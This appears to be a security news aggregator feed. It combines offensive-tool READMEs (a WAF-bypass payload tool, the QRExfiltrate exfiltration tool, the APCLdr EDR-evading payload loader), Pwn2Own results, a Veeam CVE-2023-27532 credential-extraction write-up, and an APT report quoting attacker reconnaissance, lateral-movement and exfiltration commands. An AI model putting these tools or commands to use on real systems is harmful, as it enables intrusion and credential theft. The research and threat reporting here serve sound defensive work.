❌

Normal view

There are new articles available, click to refresh the page.
Yesterday — 26 March 2023Main stream

Waf-Bypass - Check Your WAF Before An Attacker Does

By: Zion3R
26 March 2023 at 11:30


WAF bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of community.


How to run

It is forbidden to use for illegal and illegal purposes. Don't break the law. We are not responsible for possible risks associated with the use of this software.

Run from Docker

The latest waf-bypass always available via the Docker Hub. It can be easily pulled via the following command:

# docker pull nemesida/waf-bypass
# docker run nemesida/waf-bypass --host='example.com'

Run source code from GitHub

# git clone https://github.com/nemesida-waf/waf_bypass.git /opt/waf-bypass/
# python3 -m pip install -r /opt/waf-bypass/requirements.txt
# python3 /opt/waf-bypass/main.py --host='example.com'

Options

  • '--proxy' (--proxy='http://proxy.example.com:3128') - option allows to specify where to connect to instead of the host.

  • '--header' (--header 'Authorization: Basic YWRtaW46YWRtaW4=' --header 'X-TOKEN: ABCDEF') - option allows to specify the HTTP header to send with all requests (e.g. for authentication). Multiple use is allowed.

  • '--user-agent' (--user-agent 'MyUserAgent 1/1') - option allows to specify the HTTP User-Agent to send with all requests, except when the User-Agent is set by the payload ("USER-AGENT").

  • '--block-code' (--block-code='403' --block-code='222') - option allows you to specify the HTTP status code to expect when the WAF is blocked. (default is 403). Multiple use is allowed.

  • '--threads' (--threads=15) - option allows to specify the number of parallel scan threads (default is 10).

  • '--timeout' (--timeout=10) - option allows to specify a request processing timeout in sec. (default is 30).

  • '--json-format' - an option that allows you to display the result of the work in JSON format (useful for integrating the tool with security platforms).

  • '--details' - display the False Positive and False Negative payloads. Not available in JSON format.

  • '--exclude-dir' - exclude the payload's directory (--exclude-dir='SQLi' --exclude-dir='XSS'). Multiple use is allowed.

Payloads

Depending on the purpose, payloads are located in the appropriate folders:

  • FP - False Positive payloads
  • API - API testing payloads
  • CM - Custom HTTP Method payloads
  • GraphQL - GraphQL testing payloads
  • LDAP - LDAP Injection etc. payloads
  • LFI - Local File Include payloads
  • MFD - multipart/form-data payloads
  • NoSQLi - NoSQL injection payloads
  • OR - Open Redirect payloads
  • RCE - Remote Code Execution payloads
  • RFI - Remote File Inclusion payloads
  • SQLi - SQL injection payloads
  • SSI - Server-Side Includes payloads
  • SSRF - Server-side request forgery payloads
  • SSTI - Server-Side Template Injection payloads
  • UWA - Unwanted Access payloads
  • XSS - Cross-Site Scripting payloads

Write your own payloads

When compiling a payload, the following zones, method and options are used:

  • URL - request's path
  • ARGS - request's query
  • BODY - request's body
  • COOKIE - request's cookie
  • USER-AGENT - request's user-agent
  • REFERER - request's referer
  • HEADER - request's header
  • METHOD - request's method
  • BOUNDARY - specifies the contents of the request's boundary. Applicable only to payloads in the MFD directory.
  • ENCODE - specifies the type of payload encoding (Base64, HTML-ENTITY, UTF-16) in addition to the encoding for the payload. Multiple values are indicated with a space (e.g. Base64 UTF-16). Applicable only to for ARGS, BODY, COOKIE and HEADER zone. Not applicable to payloads in API and MFD directories. Not compatible with option JSON.
  • JSON - specifies that the request's body should be in JSON format
  • BLOCKED - specifies that the request should be blocked (FN testing) or not (FP)

Except for some cases described below, the zones are independent of each other and are tested separately (those if 2 zones are specified - the script will send 2 requests - alternately checking one and the second zone).

For the zones you can use %RND% suffix, which allows you to generate an arbitrary string of 6 letters and numbers. (e.g.: param%RND=my_payload or param=%RND% OR A%RND%B)

You can create your own payloads, to do this, create your own folder on the '/payload/' folder, or place the payload in an existing one (e.g.: '/payload/XSS'). Allowed data format is JSON.

API directory

API testing payloads located in this directory are automatically appended with a header 'Content-Type: application/json'.

MFD directory

For MFD (multipart/form-data) payloads located in this directory, you must specify the BODY (required) and BOUNDARY (optional). If BOUNDARY is not set, it will be generated automatically (in this case, only the payload must be specified for the BODY, without additional data ('... Content-Disposition: form-data; ...').

If a BOUNDARY is specified, then the content of the BODY must be formatted in accordance with the RFC, but this allows for multiple payloads in BODY a separated by BOUNDARY.

Other zones are allowed in this directory (e.g.: URL, ARGS etc.). Regardless of the zone, header 'Content-Type: multipart/form-data; boundary=...' will be added to all requests.



Before yesterdayMain stream

QRExfiltrate - Tool That Allows You To Convert Any Binary File Into A QRcode Movie. The Data Can Then Be Reassembled Visually Allowing Exfiltration Of Data In Air Gapped Systems

By: Zion3R
25 March 2023 at 11:30


This tool is a command line utility that allows you to convert any binary file into a QRcode GIF. The data can then be reassembled visually allowing exfiltration of data in air gapped systems. It was designed as a proof of concept to demonstrate weaknesses in DLP software; that is, the assumption that data will leave the system via email, USB sticks or other media.

The tool works by taking a binary file and converting it into a series of QR codes images. These images are then combined into a GIF file that can be easily reassembled using any standard QR code reader. This allows data to be exfiltrated without detection from most DLP systems.


How to Use

To use QRExfiltrate, open a command line and navigate to the directory containing the QRExfiltrate scripts.

Once you have done this, you can run the following command to convert your binary file into a QRcode GIF:

./encode.sh ./draft-taddei-ech4ent-introduction-00.txt output.gif

Demo

encode.sh <inputfile>

Where <inputfile> is the path to the binary file you wish to convert, and <outputfile>, if no output is specified output.gif used is the path to the desired output GIF file.

Once the command completes, you will have a GIF file containing the data from your binary file.

You can then transfer this GIF file as you wish and reassemble the data using any standard QR code reader.

Prerequisites

QRExfiltrate requires the following prerequisites:

  • qrencode
  • ffmpeg

Limitations

QRExfiltrate is limited by the size of the source data, qrencoding per frame has been capped to 64 bytes to ensure the resulting image has a uniform size and shape. Additionally the conversion to QR code results in a lot of storage overhead, on average the resulting gif is 50x larger than the original. Finally, QRExfiltrate is limited by the capabilities of the QR code reader. If the reader is not able to detect the QR codes from the GIF, the data will not be able to be reassembled.

The decoder script has been intentionally omitted

Conclusion

QRExfiltrate is a powerful tool that can be used to bypass DLP systems and exfiltrate data in air gapped networks. However, it is important to note that QRExfiltrate should be used with caution and only in situations where the risk of detection is low.



Pwn2Own Vancouver 2023 - Day Three Results

24 March 2023 at 18:21

That’s a wrap for Pwn2Own Vancouver! Contestants disclosed 27 unique zero-days and won a combined $1,035,000 (and a car)! Congratulations to the Masters of Pwn, Synacktiv (@Synacktiv), for their huge success and hard work! They earned 53 points, $530,000, and a Tesla Model 3.

Team Synacktiv: Eloi Benoist-Vanderbeken, David Berard, Vincent Dehors, Tanguy Dubroca, Thomas Bouzerar, and Thomas Imbert. They also receive a $25,000 bonus and Platinum status in 2024.

Follow us here and on Twitter, YouTube, Mastodon, LinkedIn, and Instagram to keep up with the latest news – and stay tuned for Pwn2Own Toronto in October!


Welcome to Day 3 of Pwn2Own Vancouver 2023. We’ll be updating this blog in real time as results become available. For this year’s event, each round will receive the full payout for unique entries.

SUCCESS - Kyle Zeng from ASU SEFCOM used a double free bug to exploit Ubuntu Desktop. He earns $30,000 and 3 Master of Pwn points.

FAILURE - STAR Labs was unable to get their exploit of Microsoft Teams working within the time allotted.

SUCCESS - Thomas Imbert (@masthoon) from Synacktiv (@Synacktiv) used a UAF against Microsoft Windows 11. They earn $30,000 and 3 Master of Pwn points.

SUCCESS - Mingi Cho of Theori used a UAF against Ubuntu Desktop. They earn $30,000 and 3 Master of Pwn points.

SUCCESS - STAR Labs (@starlabs_sg) used an uninitialized variable and UAF against VMWare Workstation. They earn $80,000 and 8 Master of Pwn points.

COLLISION - Bien Pham (@bienpnn) of Qrious Security successfully targeted Ubuntu Desktop, but the exploit was previously known. They still earn $15,000 and 1.5 Master of Pwn points.

Pwn2Own Vancouver 2023 - Day Three Results

Mimicry - Security Tool For Active Deception In Exploitation And Post-Exploitation

By: Zion3R
24 March 2023 at 11:30


Mimicry is a security tool developed by Chaitin Technology for active deception in exploitation and post-exploitation.

Active deception can live migrate the attacker to the honeypot without awareness. We can achieve a higher security level at a lower cost with Active deception.

English | 中文文档


Demo

Mimicry is a security tool developed by Chaitin Technology for active deception in exploitation and post-exploitation. (4)

️
Quick Start

1. Make sure docker, docker-compose is installed correctly on the machine

docker info
docker-compose version

2. Install honeypot service

docker-compose build
docker-compose up -d

3. Deploy deception tool on other machines

update config.yaml,replace ${honeypot_public_ip} to the public IP of honeypot service

4. Perform Webshell deceiving

./mimicry-tools webshell -c config.yaml -t php -p webshell_path


Advance Usage

Tool Description
Web-Deception Fake vulnerabilities in web applications
Webshell-Deception live migrate webshell to the honeypot
Shell-Deception live migrate ReverseShell/BindShell to the honeypot

️
Contact Us

  1. You can make bug feedback and feature suggestions directly through GitHub Issues.
  2. You can join the discussion group on Discord .


X-perience Day Security

15 March 2023 at 06:47
Safety first! Learn everything about your company’s IT vulnerabilities, how to protect yourself from ransomware attacks and which backups are essential at our X-perience Day Security. Come by our office in Neu-Ulm, enjoy coffee and cake while we show you how to take your IT security to the next level When: 29.03.2023 @ 13:00 – […]

Threat Source newsletter (March 23, 2023) — Meta is threatening to ban news sharing in Canada. Good.

23 March 2023 at 18:00
Threat Source newsletter (March 23, 2023) — Meta is threatening to ban news sharing in Canada. Good.

Welcome to this week’s edition of the Threat Source newsletter.

After asking ChatGPT to write the newsletter for me two weeks ago, I was tempted to have Google’s Bard do the same, but I resisted making this the newsletter’s new gimmick.

Instead, I wanted to write about another tech giant — Meta.

The company recently doubled down on a threat to remove news links and sharing from its Facebook and Instagram platforms if Canada passes its proposed Online News Act, or bill C-18. The proposed legislation would compel companies like Meta and Google to sign agreements with Canadian news organizations that would pay them each time a user clicks on a news link through one of their platforms (i.e., via a shared link on Facebook or a Google search result).

But as the great Tobey Maguire once said in the cinematic classic “Spider-Man:” “I fail to see how that’s my problem.”

If Facebook stops users from sharing news links on their pages, it could be a net positive. Facebook users are notoriously the biggest offenders for sharing fake news and misinformation. A May 2020 study published in Nature Human Behavior found that Facebook pointed users to fake news websites during the 2016 presidential election at a higher rate than any other social media platform.

A separate study from Harvard found that during the first few months of 2020, the rate of user engagement with fake news to mainstream news stories was 1:3.5, and the International Communications Association found via a study of social media users that, “sharing countermedia content on Facebook is positively associated with ideological extremity and negatively associated with trust in the mainstream news media.”

If Instagram, Facebook and other social media sites were to follow along with this with Canada (Google already started quietly removing news links from its search engine last month in protest of the Online News Act), I think it could go a long way toward fighting disinformation. If users can’t get their news through social media, they may be forced to seek out information independently rather than blindly clicking “share” on Great Aunt Betty’s post, which is just a bad parody from the Babylon Bee.

I also would be remiss to not discuss the benefits this legislation would possibly have on newsrooms in Canada. As a former journalist, and someone who was worried about being laid off 24/7 in my previous jobs, it’s a financial struggle out there right now for legitimate news organizations. Online advertising isn’t what it once was, so many outlets are being forced to pivot to hard paywalls or rely on clickbait articles that don’t deliver any news. If this presents a new way to fund legitimate journalism, especially if the only financial burden falls on the richest companies in the world, it could go a long way to sustaining newsrooms.

Just because something becomes legal in Canada doesn’t mean other countries are going to be adopting the same rules any time soon. But if news sharing does suddenly go away on Facebook in Canada, maybe it will force all of us to think about where we’re really consuming our news from and how we consumed news even just 15 years ago.

The one big thing

We’re still reminding people to update their Microsoft Outlook clients as soon as possible after the disclosure of CVE-2023-23397. Attackers have reportedly been exploiting this vulnerability since last year, though a fix is available now through Microsoft. Adversaries could manipulate a targeted system into supplying the user’s Net-NTLMv2 hash to the attacker, which can then be used in NTLM Relay attacks against other systems.

Why do I care?

Multiple sources, including Microsoft itself, have confirmed that this vulnerability is being used in the wild. Plus, users don’t even have to open the email or any malicious attachments to trigger this vulnerability, the specially crafted email just has to hit the target’s Outlook inbox. This is a high-severity, low-complexity vulnerability everyone should be patching for if they haven’t already.

So now what?

Microsoft has released a patch that should be applied, but Talos also has several layers of detection and protection available. If, for some reason, your organization cannot apply this patch, Microsoft also provided a few mitigation options, including adding users to the Protected Users Security Group to prevent the use of NTLM as an authentication mechanism as well as blocking port TCP/445 outbound from your network to block the NTLM messages from leaving the network.

Top security headlines of the week

The popular dark web site BreachForums shut down this week after the FBI arrested its main admin. This is the latest in a string of law enforcement wins against cybercrime groups, who also brought down the Hive ransomware gang in January and RaidForums, BreachForums’ predecessor, last year. The site’s administrator, who goes by the username “Pompompurin,” also claimed responsibility for a data breach of the FBI’s email system in November 2021. Cyber criminals commonly used BreachForums to buy and sell stolen databases of information and had been at the center of recent high-profile data breaches, including this month's attack on DC Health Link that led to the theft of sensitive information belonging to several Congressional representatives. (Krebs on Security, Axios)

Google’s security research team discovered several zero-day vulnerabilities in certain Samsung chips that leave many Google smartphones and other wearable devices vulnerable. There are four critical flaws that could compromise affected devices “silently and remotely” over the cellular network, according to Google Project Zero’s blog post on the matter. An attacker could exploit those vulnerabilities to “remotely compromise a phone at the baseband level with no user interaction and require only that the attacker know the victim’s phone number.” Google says it was forced to disclose the vulnerabilities without a patch for many of the affected devices because Samsung did not adhere to its 90-day deadline to issue a fix. (TechCrunch, Google Project Zero)

TikTok’s CEO was scheduled to appear before a U.S. Congressional committee Thursday to discuss the popular app’s data security and privacy policies as there are renewed calls among the federal government to block the app. Prepared statements from CEO Shou Zi Chew showed that he would tout TikTok’s $1.5 billion investment in storing U.S. users’ information on Oracle servers and allow outside monitors to inspect the company’s source code. U.S. regulators have reportedly threatened to ban TikTok unless the company’s Chinese owners sell their stake, though the actual mechanics of blocking and de-listing the app are more complicated than they seem on the surface. (ABC News, New York Times)

Can’t get enough Talos?

Upcoming events where you can find Talos

RSA (April 24 - 27)

San Francisco, CA

Cisco Live U.S. (June 4 - 8)

Las Vegas, NV

Most prevalent malware files from Talos telemetry over the past week


SHA 256: 00ab15b194cc1fc8e48e849ca9717c0700ef7ce2265511276f7015d7037d8725
MD5: d47fa115154927113b05bd3c8a308201
Typical Filename: mssqlsrv.exe
Claimed Product: N/A
Detection Name: Trojan.GenericKD.65065311

SHA 256: e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934
MD5: 93fefc3e88ffb78abb36365fa5cf857c
Typical Filename: Wextract
Claimed Product: Internet Explorer
Detection Name: PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

SHA 256: de3908adc431d1e66656199063acbb83f2b2bfc4d21f02076fe381bb97afc423
MD5: 954a5fc664c23a7a97e09850accdfe8e
Typical Filename: teams15.exe
Claimed Product: teams15
Detection Name: Gen:Variant.MSILHeracles.59885

SHA 256: 280c8c4f08700f0fea08f0e3ca6e96eadccf49c414c56b6a855c945769678e66
MD5: cd1f364e46c6367dd96f8469eb226981
Typical Filename: cd1f364e46c6367dd96f8469eb226981.scr
Claimed Product: N/A
Detection Name: Win.Dropper.Upatre::dk

SHA 256: 5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1
MD5: 3e10a74a7613d1cae4b9749d7ec93515
Typical Filename: IMG001.exe
Claimed Product: N/A
Detection Name: Win.Dropper.Coinminer::1201

Nordstream Pipelines Attacks

23 March 2023 at 17:51

Russia – Ukraine Conflict and Its Impact on the Cyber Threat Landscape Bottom Line Up Front (BLUF)    Russia’s attempt to annex parts of Ukraine created a broader contention between nations and drew western nations into the conflict. The sabotage of the Russian Nordstream 1 & 2 pipelines may be an act of further escalation and …

Continue reading "Nordstream Pipelines Attacks"

The post Nordstream Pipelines Attacks appeared first on VerSprite.

Pwn2Own Vancouver 2023 - Day Two Results

23 March 2023 at 17:02

Welcome to Day 2 of Pwn2Own Vancouver 2023! We’ll be updating this blog in real time as results become available. We’re excited to say that all unique winning entries will receive the full payout during this year’s contest. We’ll update this blog throughout the day with results as they come in.

SUCCESS / COLLISION - Thomas Imbert (@masthoon) and Thomas Bouzerar (@MajorTomSec) from Synacktiv (@Synacktiv) demonstrated a 3-bug chain against Oracle VirtualBox with a Host EoP. One bug was previously known. They still earn $80,000 and 8 Master of Pwn points.

SUCCESS - @hoangnx99, @rskvp93, and @_q5ca from Team Viettel (@vcslab) used a 2-bug chain in their attempt against Microsoft Teams. They earn $75,000 and 8 Master of Pwn points.

SUCCESS - David Berard (@_p0ly_) and Vincent Dehors (@vdehors) from Synacktiv (@Synacktiv) used a heap overflow and an OOB write to exploit Tesla - Infotainment Unconfined Root. They qualify for a Tier 2 award, earning $250,000 and 25 Master of Pwn points.

SUCCESS - dungdm (@_piers2) of Team Viettel (@vcslab) used an uninitialized variable and a UAF bug to exploit Oracle VirtualBox. They earn $40,000 and 4 Master of Pwn points.

SUCCESS - Tanguy Dubroca (@SidewayRE) from Synacktiv (@Synacktiv) used an incorrect pointer scaling leading to privilege escalation on Ubuntu Desktop. They earn $30,000 and 3 Master of Pwn points.

That wraps up Day 2 of Pwn2Own Vancouver 2023! We awarded $475,000 for 10 unique zero-days during the second day of the contest. We’ll continue posting results and videos to Twitter, YouTube, Mastodon, LinkedIn, and Instagram, so follow us on your favorite flavor of social media for the latest news from the event.

Pwn2Own Vancouver 2023 - Day Two Results

VerSprite and AppSecEngineer Partner to Operationalize Security Training

By: VerSprite
23 March 2023 at 13:08

Today, leading cybersecurity service provider VerSprite and security training leader AppSecEngineer announce a partnership to operationalize security training. The joint effort will result in a comprehensive full-stack security training program to equip organizations to handle any security challenges that may arise. “VerSprite has always taken a risk-first approach to cybersecurity, even inventing the PASTA risk methodology,” …

Continue reading "VerSprite and AppSecEngineer Partner to Operationalize Security Training"

The post VerSprite and AppSecEngineer Partner to Operationalize Security Training appeared first on VerSprite.

Veeam Backup and Replication CVE-2023-27532 Deep Dive

23 March 2023 at 12:15

Introduction

Veeam has recently released an advisory for CVE-2023-27532 for Veeam Backup and Replication which allows an unauthenticated user with access to the Veeam backup service (TCP 9401 by default) to request cleartext credentials. Others, including Huntress, Y4er, and CODE WHITE , have provided insight into this vulnerability. In this post, we hope to offer additional insights and release our POC (found here) which is built on .NET Core and capable of running on Linux.

Examining the Vulnerable Port

We first determine what application is using vulnerable port 9401.

Find application using port 9401

Find application using port 9401

Now we can begin to reverse engineer the Veeam Backup Service. By default, we find the service binary and its associated assemblies in C:\Program Files\Veeam\Backup and Replication\Backup. The log file for the backup service is located at  C:\ProgramData\Veeam\Backup\Svc_VeeamBackup.log. Searching for the port in question in the log file gives a string that we can search for in the binary.

Find port in log file

Find port in log file

InitSslServerChannel

InitSslServerChannel

Next we dig into the call to CreateService and eventually find ourselves at a private constructor for CRemoteInvokeServiceHolder:

CRemoteInvokeServiceHolder

CRemoteInvokeServiceHolder

The use of ServiceHost, NetTcpBinding, and AddServiceEndpoint gives us enough context to know that this app is hosting a Windows Communication Foundation (WCF) service. The services exposes the IRemoteInvokeService interface to the client and the interface is implemented by CVbRestoreServiceStub on the server side.

The use of NetTcpBinding tells us that this service is using a binary protocol built on TCP intended for WCF to WCF communication. This restricts our client implementation to a .NET language as it would be rather difficult to write a custom WCF binary parser. We do not want our POC to be restricted to running on Windows so we will use .NET core for our POC.

Constructing a WCF Client

Before we are able to create a client, we need the service interface definition. Based on previous research, we know that we need a few credential based methods from the DatabaseManager scope. We end up with the following definition:

Now we can try to connect to the service:

Our first attempt is met with the following error:

/home/dev/RiderProjects/Veeam_CVE-2023-27532/CVE-2023-27532/bin/Debug/net6.0/CVE-2023-27532 net.tcp://192.168.1.139:9401/
Unhandled exception. System.ServiceModel.ProtocolException: The requested upgrade is not supported by 'net.tcp://192.168.1.139:9401/'. This could be due to mismatched bindings (for example security enabled on the client and not on the server).

If we look back at CRemoteInvokeServiceHolder, we see that the NetTcpBinding was created with parameter "invokeServiceBinding". We can find the configuration parameters for this binding in Veeam.Backup.Service.exe.config:

Veeam.Backup.Service.exe.config

Veeam.Backup.Service.exe.config

With this information, we can update our POC. After disabling certificate validation and setting the correct DNSIdentity, we have the following:

Running the POC we get:

/home/dev/RiderProjects/Veeam_CVE-2023-27532/CVE-2023-27532/bin/Debug/net6.0/CVE-2023-27532 net.tcp://192.168.1.139:9401/
Unhandled exception. System.ServiceModel.FaultException: Data at the root level is invalid. Line 1, position 1.

This indicates that we were able to successfully invoke the service. The error is a result of us passing invalid XML. Now we can begin to figure out how to extract credentials from this API.

Extracting Credentials

Based on previous research, we know that we can invoke CredentialsDbScopeGetAllCreds to get a binary blob containing credential information. If we look at the implementation of ExecuteCredentialsDbScopeGetAllCreds we see that this blob is a serialized C# object created by Veeam’s custom CProxyBinaryFormatter.

ExecuteCredentailsDbScopeGetAllCreds

ExecuteCredentailsDbScopeGetAllCreds

If we dump this data to a file we can see that there is username and password information, but it is not immediately obvious how to parse this information out of the binary blob. We don’t want to reimplement Veeam’s custom serialization class and also don’t want to have to reference their assemblies. So what can we do? It looks like there are some easily parseable guids prefixed by $.

CredentialsDbScopeGetAllCreds output

CredentialsDbScopeGetAllCreds output

We see that these guids match the id used for Credentials in the Veeam database:

Credentials in Veeam database

Credentials in Veeam database

We can now use the CredentialsDbScopeFindCredentials endpoint to get one credential at a time. Our code to extract the guids looks like:

The output from CredentialsDbScopeFindCredentials is still a binary blob, but at least we can work with one Credential at a time now instead of a list. We still have the problem of having to parse out the usernames and passwords. Luckily, we found a Stackoverflow post detailing how to use a custom serializer to get object properties as key value pairs. We can now extract the usernames an passwords with ease.

Running our POC we get the following output:

/home/dev/RiderProjects/Veeam_CVE-2023-27532/CVE-2023-27532/bin/Debug/net6.0/CVE-2023-27532 net.tcp://192.168.1.139:9401/
UserName = dev Password = Super Secret Password 
UserName = root Password = 
UserName = root Password = 
UserName = root Password = 
UserName = root Password =

Summary

In conclusion, CVE-2023-27532 allows an unauthenticated user with access to the Veeam backup service to request cleartext credentials. We have examined the vulnerable port, reverse engineered the Veeam Backup Service, and constructed a WCF client using .NET core. We have also shown how to extract credentials from the Veeam database by invoking the CredentialsDbScopeGetAllCreds and CredentialsDbScopeFindCredentials endpoints. Finally, we have released our POC on Github, which is built on .NET core and capable of running on Linux, making it accessible to a wider audience. It is important to note that this vulnerability should be taken seriously and patches should be applied as soon as possible to ensure the security of your organization.

The post Veeam Backup and Replication CVE-2023-27532 Deep Dive appeared first on Horizon3.ai.

Fighting the Good Fight: Life inside the Talos Ukraine Task Unit

23 March 2023 at 12:00
Fighting the Good Fight: Life inside the Talos Ukraine Task Unit

As we spoke about in the new ThreatWise TV documentary, “People Matter: A look back on how Cisco Talos has been supporting Ukraine,” war isn’t something that often appears in an organization’s business continuity or disaster recovery plans.

In the months leading up to Russia’s invasion of Ukraine, Cisco and Talos did everything we could to support our friends, partners and colleagues, who were facing a reality unlike anything that can be found in any technical training manual, SOP or SLA.

Once the invasion began, there was an influx of people across Cisco and Talos who wanted to help. That led to the development of an internal Ukraine task unit, which has become a prototype for how we can respond to future global events that are likely to have significant, ongoing cyber implications.

We also deployed and managed Cisco Secure products within a variety of Ukrainian organizations, and refocused parts of our workforce to monitor and detect threats against critical infrastructure. Much of this work continues today as part of an ongoing, comprehensive wartime effort to protect the people of Ukraine and enhance the resilience of Ukrainian organizations.

Many people have asked about our task unit, and what we do on a day-to-day basis to help organizations in Ukraine detect and respond to attacks against their critical infrastructure.

As you can probably imagine, there isn’t a typical day.

One of the key outcomes of the task unit, which has been wonderful to witness, is that people without a technical threat hunting background can add a great deal to our efforts. The power in diversity of thought and experience is explicit in our efforts to support Ukraine.

We decided to encapsulate this difficult, but important, work in the form of a graphic novel, which explores some of the themes we touched on in the documentary. Read it below or click here.

Further resources

APCLdr - Payload Loader With Evasion Features

By: Zion3R
23 March 2023 at 11:30


Payload Loader With Evasion Features.

Features:

  • no crt functions imported
  • indirect syscalls using HellHall
  • api hashing using CRC32 hashing algorithm
  • payload encryption using rc4 - payload is saved in .rsrc
  • Payload injection using APC calls - alertable thread
  • Payload execution using APC - alertable thread
  • Execution delation using MsgWaitForMultipleObjects - edit this
  • the total size is 8kb + the payload size
  • compatible with LLVM (clang-cl) Option

Usage:

  • Use Builder to update the PayloadFile.pf file, that'll be the encrypted payload to be saved in the .rsrc section of the loader
  • Compile as x64 Release

Debugging:

  • Change Linker>SubSystem from /SUBSYSTEM:WINDOWS to /SUBSYSTEM:CONSOLE
  • Set the loader in debug mode (uncomment this)
  • build as release as well

Thanks For:


Tested with cobalt strike && Havoc on windows 10



Senderbase.org redirects to end in April

23 March 2023 at 11:00
Senderbase.org redirects to end in April

As of April 20, 2023, we are decommissioning SenderBase.org and any attempts to visit that web page will fail.

Talos Intelligence’s website (TalosIntelligence.com) has served as the replacement for SenderBase.org for many years, with TalosIntelligence.com providing the same information as SenderBase.org once did. Since that time, visitors to SenderBase.org have been automatically redirected to TalosIntelligence.com, and the redirect from SenderBase.org is finally being removed on April 20, 2023. After that, attempts to visit SenderBase.org will fail.

Any users still utilizing bookmarks or links pointing to Senderbase.org should update these to ensure they still work appropriately.

Thank you for assisting us in this process.

Operation Tainted Love | Chinese APTs Target Telcos in New Attacks

23 March 2023 at 09:53

By Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen, in collaboration with QGroup

Executive Summary

  • In Q1 of 2023, SentinelLabs observed initial phases of attacks against telecommunication providers in the Middle East.
  • We assess that this activity represents an evolution of tooling associated with Operation Soft Cell.
  • While it is highly likely that the threat actor is a Chinese cyberespionage group in the nexus of Gallium and APT41, the exact grouping remains unclear.
  • SentinelLabs observed the use of a well-maintained, versioned credential theft capability and a new dropper mechanism indicative of an ongoing development effort by a highly-motivated threat actor with specific tasking requirements.

Overview

In collaboration with QGroup GmbH, SentinelLabs recently observed initial threat activities targeting the telecommunication sector. We assess it is highly likely that these attacks were conducted by a Chinese cyberespionage actor related to the Operation Soft Cell campaign.

The initial attack phase involves infiltrating Internet-facing Microsoft Exchange servers to deploy webshells used for command execution. Once a foothold is established, the attackers conduct a variety of reconnaissance, credential theft, lateral movement, and data exfiltration activities.

The deployment of custom credential theft malware is central to this new campaign. The malware implemented a series of Mimikatz modifications on closed-source tooling. This post details the multi-component architecture and functionality of a sample, referred to as mim221.

We assess that mim221 is a recent version of an actively maintained credential theft capability upgraded with new anti-detection features. The use of special-purpose modules that implement a range of advanced techniques shows the threat actors’ dedication to advancing its toolset towards maximum stealth. These techniques include

  • in-memory mapping of malicious images to evade EDR API hooks and file-based detections
  • surgically terminating Event Log threads instead of the host process to inhibit logging without raising suspicions
  • staging a credential theft capability in the LSASS process itself by abusing native Windows capabilities.

Version numbers and build timestamps indicate a maintained software project by designated developers. Closer analysis reveals an element of pragmatism in that the threat actors use modified publicly available code to achieve their goals.

In terms of attribution, the tooling suggests an immediate link to the ‘Operation Soft Cell’ campaign but remains slightly vague on the specific threat actor. That campaign has been publicly associated with Gallium and possible connections to APT41 have been suggested by the use of a common code signing certificate and tooling that shares code similarities. APT41 is also known to target telecommunication providers.

Given previous target and TTP overlaps, and an evident familiarity with victim environments, we assess with medium-confidence that Gallium is involved. However, we also recognize the possibility of closed-source tool-sharing between Chinese state-sponsored threat actors, and the possibility of a shared vendor or digital quartermaster.

Regardless of clustering specifics, this finding highlights the increased operational tempo of Chinese cyberespionage actors and their consistent investment in advancing their malware arsenal to evade detection.

Infection Vector and Initial TTPs

As initial attack indicators, we observed command execution through webshells on compromised Microsoft Exchange server deployments. The threat actors used C:\MS_DATA as their main working directory for storing malware and staging data for exfiltration. Noting that the Microsoft TroubleShootingScript toolset (TSSv2) uses C:\MS_DATA for storing log files, we suspect that its use as a working directory is an attempt to make malicious file system activities look legitimate.

After establishing an initial foothold, the threat actor conducts reconnaissance like querying user and network information using a variety of tools. For example, the attackers used dsquery and query to obtain information about Active Directory objects, including user information, and Remote Desktop user sessions. They also used the Local Group (LG) tool to enumerate all local groups and members in a domain.

   "cmd"  /c cd /d C:\MS_DATA\&dsquery * -limit 0 -filter
   "cmd"  /c cd /d C:\MS_DATA\&dsquery * -limit 0 -filter "&(objectClass=User)(objectCategory=Person)" -attr objectSID sAMAccountName displayName  mail memberOf >da.back&cd
   "cmd"  /c cd /d c:\windows\system32\inetsrv\&query user&cd
   "cmd"  /c cd /d C:\MS_DATA\&lg.exe \\[IP ADDRESS] -lu >169.txt&cd

The attackers then check connectivity with both the Internet and specific local machines of interest.

   "cmd"  /c cd /d c:\windows\system32\inetsrv\&ping 8.8.8.8 -n 1&cd
   "cmd"  /c cd /d c:\windows\system32\inetsrv\&ping -n 1 [IP ADDRESS/HOSTNAME]&cd

They also retrieve networking information, like network adapters, specific machines, and network services like  Remote Desktop Protocol (RDP).

   "cmd"  /c cd /d C:\MS_DATA\&ipconfig /all&cd
   "cmd"  /c cd /d c:\windows\system32\inetsrv\&net use&cd
   "cmd"  /c cd /d c:\windows\system32\inetsrv\&netstat.exe -nob
   "cmd"  /c cd /d c:\windows\system32\inetsrv\&netstat -aon |find "3389"&cd
   "cmd"  /c cd /d C:\MS_DATA\&netstat -aon |find "[IP ADDRESS]"&cd

The threat actor made use of the native makecab tool to compress information gathered for exfiltration.

   "cmd"  /c cd /d C:\MS_DATA\&makecab da.back d.zip >1.txt&cd

For lateral movement, the attackers made use of the PsExec tool and the net use command for accessing shared resources on remote machines.

   "cmd"  /c cd /d C:\MS_DATA\&net use \\[IP ADDRESS] [PASSWORD] /u:[DOMAIN]\[USERNAME]

A Penchant for Credential Theft

In order to steal credentials, the attackers employ custom modified versions of Mimikatz, including an executable named pc.exe.

Mimikatz publicly available code (top); strings from a Mimikatz modification (bottom)

The pc.exe executable stages the execution of three other components that ultimately result in stealing credentials from the Local Security Authority Subsystem Service (LSASS) process.

We refer to the four component chain as ‘mim221’ based on the version number that the tool displays (2.2.1).

We observed the threat actors deploying individual chunks of pc.exe in the working directory and merging these into pc.exe using the type command.

pc.exe file chunks
pc.exe file chunks

We noticed that the attackers ceased their activities after stealing credentials. This could indicate a multi-phase attack strategy, where the deployment of backdoors and further persistence mechanisms is carried out separately after credential theft has ensured continued access. The intrusions were detected and interrupted before the attackers could carry out further phases, such as deploying backdoors.

mim221

The architecture of mim221 consists of four components: the pc.exe Windows executable, and the AddSecurityPackage64.dll, pc.dll, and getHashFlsa64.dll DLLs contained therein.

mim221 execution overview
mim221 execution overview
mim221 Component Size Compilation timestamp
pc.exe 502 KBs Thu Jun 09 08:02:12 2022 (UTC)
